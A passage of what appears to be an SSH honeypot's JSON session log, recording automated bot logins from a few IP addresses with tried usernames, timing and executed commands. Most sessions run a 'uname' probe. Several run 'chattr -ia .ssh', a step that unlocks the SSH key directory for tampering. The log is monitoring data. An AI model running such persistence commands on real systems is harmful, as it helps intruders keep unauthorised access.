  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e216218-163b-45aa-b1ac-f17f06b3907b",
  "name": "lanky-quaint-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 562,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:50.452426+00:00",
  "ended_at": "2026-08-26T12:52:53.881015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0125bba7-2ab8-4258-909c-bd6d4bc5f1e6",
  "name": "solemn-dusty-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50684,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:52:48.581734+00:00",
  "ended_at": "2026-08-26T12:52:52.773261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f52ec24c-44ad-4210-86b6-a5098234c4a0",
  "name": "velvet-downy-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34200,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 394,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:44.231784+00:00",
  "ended_at": "2026-08-26T12:52:52.772277+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "31a51dcb-2feb-4a6c-902c-35efaf01f33e",
  "name": "solar-fabled-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59286,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:52:36.994864+00:00",
  "ended_at": "2026-08-26T12:52:44.800263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38e0a007-1285-4faa-aa4a-7df29c5707bf",
  "name": "vaulted-alpine-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39624,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:30.634508+00:00",
  "ended_at": "2026-08-26T12:52:44.798951+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "75b53965-3123-4e09-8992-fe7454b8b6cd",
  "name": "marine-mindful-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 10604,
  "username": "jrodrig",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:52:23.075322+00:00",
  "ended_at": "2026-08-26T12:52:23.545537+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "568e2664-807a-4ca6-bca6-3e2ede3a72c2",
  "name": "quiet-emerald-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42324,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:13.591495+00:00",
  "ended_at": "2026-08-26T12:52:17.945784+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "428d0a43-3c88-4632-9544-171e24059e4c",
  "name": "jagged-murky-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45438,
  "username": "service",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:52:09.271180+00:00",
  "ended_at": "2026-08-26T12:52:16.620560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46fa9eef-1298-4ea2-8f85-049bbb950305",
  "name": "lucid-smooth-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47942,
  "username": "service",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 686,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:03.981951+00:00",
  "ended_at": "2026-08-26T12:52:16.618885+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "6609b1fe-b98c-4d11-bd7a-556aeb02e9d1",
  "name": "wandering-hardy-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 691,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:45.815990+00:00",
  "ended_at": "2026-08-26T12:51:49.990114+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92fcfdf9-0d18-429b-871d-e0c7fe8e956a",
  "name": "icy-fleeting-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 401,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:27.612470+00:00",
  "ended_at": "2026-08-26T12:51:31.489788+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e4f26e5-4e8e-4af6-a759-95eec79e6a56",
  "name": "pleasant-sooty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42316,
  "username": "edge",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:51:13.814513+00:00",
  "ended_at": "2026-08-26T12:51:19.930561+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6838a718-f2f9-4d1c-90c0-75ac21336ae3",
  "name": "gnarled-knotted-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54478,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:10.183235+00:00",
  "ended_at": "2026-08-26T12:51:16.490836+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42c7df13-bd86-4568-997d-539b2f1318b4",
  "name": "dapper-lucid-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34696,
  "username": "edge",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:07.484525+00:00",
  "ended_at": "2026-08-26T12:51:19.929456+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "71f10a55-6f75-4ba7-937c-c73f5fa475d6",
  "name": "placid-gentle-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 48000,
  "username": "potok",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:51:04.227304+00:00",
  "ended_at": "2026-08-26T12:51:11.254336+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb280755-310f-46fc-97f2-c5a187322d29",
  "name": "merry-loyal-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35670,
  "username": "potok",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 634,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:50:59.977452+00:00",
  "ended_at": "2026-08-26T12:51:11.255479+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "722bf368-483e-4dac-99db-67390780a96e",
  "name": "mindful-wandering-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48490,
  "username": "mark",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 858,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:50:49.596202+00:00",
  "ended_at": "2026-08-26T12:50:50.894741+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "bbe48cb2-6b0a-4775-a403-574223ab9560",
  "name": "drifting-cosmic-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:50:34.790770+00:00",
  "ended_at": "2026-08-26T12:50:37.703693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0c6f794-ca24-4369-b6d9-02b4999d6b2e",
  "name": "fabled-lanky-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35596,
  "username": "trader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 521,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:50:24.204472+00:00",
  "ended_at": "2026-08-26T12:50:29.989675+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "02d2da41-52ba-4891-9e49-6d020c712266",
  "name": "calm-snowy-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48512,
  "username": "mark",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:50:24.197392+00:00",
  "ended_at": "2026-08-26T12:50:25.211023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b368caba-e450-4f06-95d6-c5c198015c8f",
  "name": "kindly-meadow-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:50:21.096936+00:00",
  "ended_at": "2026-08-26T12:50:22.493936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeebe87f-83e1-41e7-93ec-b72dae1f6912",
  "name": "balmy-muted-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54492,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:50:19.761710+00:00",
  "ended_at": "2026-08-26T12:50:24.097091+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3eab4aea-7c65-4355-8d40-8e9916cb3b7c",
  "name": "austere-jagged-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49536,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 549,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:50:15.609341+00:00",
  "ended_at": "2026-08-26T12:50:24.098280+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "1a7a1664-d917-4ac3-a000-66515efc5585",
  "name": "icy-cosmic-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60988,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:59.101741+00:00",
  "ended_at": "2026-08-26T12:50:02.148769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "446732b9-ca18-416c-8938-a736c2196dde",
  "name": "gallant-lunar-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33548,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 712,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:49.187781+00:00",
  "ended_at": "2026-08-26T12:49:52.811840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5deb7d6-29a5-414c-b276-b81ef9d260d0",
  "name": "dappled-electric-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58934,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 507,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:31.141574+00:00",
  "ended_at": "2026-08-26T12:49:36.398589+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "067b9112-05e0-405a-a93b-0c6f985f1fea",
  "name": "obsidian-hazel-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 630,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:14.646736+00:00",
  "ended_at": "2026-08-26T12:49:18.877027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "209d5693-da01-426c-9c68-a68bcae51c3c",
  "name": "fearless-crimson-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 737,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:00.768080+00:00",
  "ended_at": "2026-08-26T12:49:06.733631+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7927c90f-c837-448f-bb5b-a16aa0570ac7",
  "name": "misty-fierce-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33602,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:48:55.798546+00:00",
  "ended_at": "2026-08-26T12:49:02.528831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa58064e-9b04-43fb-9e8e-c637a9f59f58",
  "name": "jaunty-drifting-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49364,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:48:50.135172+00:00",
  "ended_at": "2026-08-26T12:49:02.530176+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "ce85b0e2-012e-4edb-a165-ce83c5112e52",
  "name": "orderly-cobalt-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37706,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:48:48.421777+00:00",
  "ended_at": "2026-08-26T12:48:53.355596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd1f6a27-2d14-40a9-ae4a-f22f5ed64033",
  "name": "jaunty-diligent-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51590,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:48:22.923688+00:00",
  "ended_at": "2026-08-26T12:48:28.775099+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d547babe-3adb-4bdd-b85b-ece8814c15d2",
  "name": "creaky-vaulted-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39910,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 464,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:48:16.160178+00:00",
  "ended_at": "2026-08-26T12:48:19.645009+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed78ff8b-f28a-42df-8a34-903fe480802a",
  "name": "curious-blazing-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48294,
  "username": "testUser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 870,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:48:03.193113+00:00",
  "ended_at": "2026-08-26T12:48:04.611804+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "29250cbe-ee87-43ba-b210-73dd2bdbc306",
  "name": "breezy-noble-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40922,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 603,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:48:01.545241+00:00",
  "ended_at": "2026-08-26T12:48:05.551546+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea634161-4d47-4ccf-8bb2-cf69d0f8c6b8",
  "name": "gallant-wooded-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37716,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:47:57.631101+00:00",
  "ended_at": "2026-08-26T12:48:02.223105+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca36af9b-9165-43df-85c0-e61c2225cf84",
  "name": "subtle-marbled-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 896,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:53.548152+00:00",
  "ended_at": "2026-08-26T12:47:56.841017+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "725546df-f7ba-4da8-a5e4-799b54d831b6",
  "name": "sturdy-spirited-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36102,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 822,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:52.580879+00:00",
  "ended_at": "2026-08-26T12:48:02.224326+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "343d5bfc-4860-486e-801d-616b9c6ea022",
  "name": "frugal-pleasant-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48310,
  "username": "testUser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:47:38.799725+00:00",
  "ended_at": "2026-08-26T12:47:40.193111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0cb9555-8d67-46c5-8957-5185dcea9b81",
  "name": "icy-ginger-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48302,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:47:35.602879+00:00",
  "ended_at": "2026-08-26T12:47:36.998638+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea1349da-d19c-47cd-898f-a6ed795223be",
  "name": "earnest-frugal-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:28.096638+00:00",
  "ended_at": "2026-08-26T12:47:33.270728+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "002222b5-246a-44e9-92f4-347443030cd3",
  "name": "gritty-vivid-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55538,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 354,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:09.093556+00:00",
  "ended_at": "2026-08-26T12:47:13.767880+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6fac3614-ca78-44f5-891b-155ec588a22b",
  "name": "russet-wooded-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 46998,
  "username": "user7",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 588,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:46:55.530790+00:00",
  "ended_at": "2026-08-26T12:46:56.544114+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "c17c7783-11d7-45ae-8d11-b79b9b8ed722",
  "name": "smoky-grumpy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:54.226944+00:00",
  "ended_at": "2026-08-26T12:46:59.195740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed1d5e37-7bdf-46bf-a6e0-dc19ca16c4a3",
  "name": "feathered-windswept-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:45.435597+00:00",
  "ended_at": "2026-08-26T12:46:51.412118+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3fe19526-6644-4a41-8d78-0fd11db91f55",
  "name": "russet-verdant-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 56560,
  "username": "user7",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:46:42.184733+00:00",
  "ended_at": "2026-08-26T12:46:44.008455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf95ad02-064e-487d-b81e-ae5105df031a",
  "name": "glassy-slender-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 56548,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:46:39.156655+00:00",
  "ended_at": "2026-08-26T12:46:40.504014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b64fbcfd-2dc5-45c0-a285-17671618a115",
  "name": "prickly-coastal-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:29.207605+00:00",
  "ended_at": "2026-08-26T12:46:33.502713+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b7ed3f9-17f4-4825-99c3-09aa02bf911c",
  "name": "wooded-granite-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:25.370296+00:00",
  "ended_at": "2026-08-26T12:46:31.269851+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a9e86584-8a27-436d-9140-45ce94fb57d1",
  "name": "austere-proud-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42238,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:06.611331+00:00",
  "ended_at": "2026-08-26T12:46:12.368448+00:00",
  "ended_reason": "exec complete",
